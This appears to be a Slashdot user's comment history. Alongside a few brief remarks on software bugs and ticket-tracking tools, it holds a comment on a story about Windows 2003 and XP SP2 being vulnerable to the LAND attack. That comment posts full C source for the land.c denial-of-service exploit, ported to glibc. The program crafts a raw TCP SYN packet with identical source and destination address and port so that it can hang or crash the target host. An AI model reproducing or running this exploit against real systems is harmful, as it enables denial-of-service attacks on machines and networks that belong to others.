User: dandu

here it goes again

On: 2016 Bug Hits Text Messages, Payment Processing

anyone remember the zune mass suicide? http://it.slashdot.org/article.pl?sid=08/12/31/1428254

billy really needs to get back to basics

what about OTRS...

On: Ticket Tracking and Customer Management?

what about OTRS... http://otrs.org/ ?

Re:Only win ?

On: Windows 2003 and XP SP2 Vulnerable To LAND Attack

that source code is not so portable, i belive it only works with glibc pre 2.x or whatever version was the latest one 8 years ago (LOL), so here is the same pice of code ported to the glibc :

//ported by dandu
#include <stdio.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/ip.h>
#include <netinet/tcp.h>
#include <netinet/in.h>
#define TH_SYN 0x02
#define IP_TCP IPPROTO_TCP
struct pseudohdr
{
struct in_addr saddr;
struct in_addr daddr;
u_char zero;
u_char protocol;
u_short length;
struct tcphdr tcpheader;
};
u_short checksum(u_short * data,u_short length)
{
register long value;
u_short i;

for(i=0;i<(length>>1);i++)
value+=data[i];

if((length&1)==1)
value+=(data[i]<<8);

value=(value&65535)+(value>>16);

return(~value);
}
int main(int argc,char * * argv)
{
struct sockaddr_in sin;
struct hostent * hoste;
int sock;
char buffer[40];
struct iphdr * ipheader=(struct iphdr *) buffer;
struct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
struct pseudohdr pseudoheader;
fprintf(stderr,"land.c by m3lt, FLC\n");
if(argc<3)
{
fprintf(stderr,"usage: %s IP port\n",argv[0]);
return(-1);
}
bzero(&sin,sizeof(struct sockaddr_in));
sin.sin_family=AF_INET;
if((hoste=gethostbyname(argv[1]))!=NULL)
bcopy(hoste->h_addr,&sin.sin_addr,hoste->h_length) ;
else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)
{
fprintf(stderr,"unknown host %s\n",argv[1]);
return(-1);
}
if((sin.sin_port=htons(atoi(argv[2])))==0)
{
fprintf(stderr,"unknown port %s\n",argv[2]);
return(-1);
}
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)
{
fprintf(stderr,"couldn't allocate raw socket\n");
return(-1);
}
bzero(&buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->version=4;
ipheader->ihl=sizeof(struct iphdr)/4;
ipheader->tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));
ipheader->id=htons(0xF1C);
ipheader->ttl=255;
ipheader->protocol=IP_TCP;
ipheader->saddr=sin.sin_addr.s_addr;
ipheader->daddr=sin.sin_addr.s_addr;
tcpheader->source=sin.sin_port;
tcpheader->dest=sin.sin_port;
tcpheader->seq=htonl(0xF1C);
tcpheader->syn=1;
tcpheader->doff=sizeof(struct tcphdr)/4;
tcpheader->window=htons(2048);
bzero(&pseudoheader,12+sizeof(struct tcphdr));
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
pseudoheader.protocol=6;
pseudoheader.length=htons(sizeof(struct tcphdr));
bcopy((char *) tcpheader,(char *) &pseudoheader.tcpheader,sizeof(struct tcphdr));
tcpheader->check=checksum((u_short *) &pseudoheader,12+sizeof(struct tcphdr));
if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in))==-1)
{
fprintf(stderr,"couldn't send packet\n");
return(-1);
}
fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);
close(sock);
return(0);
}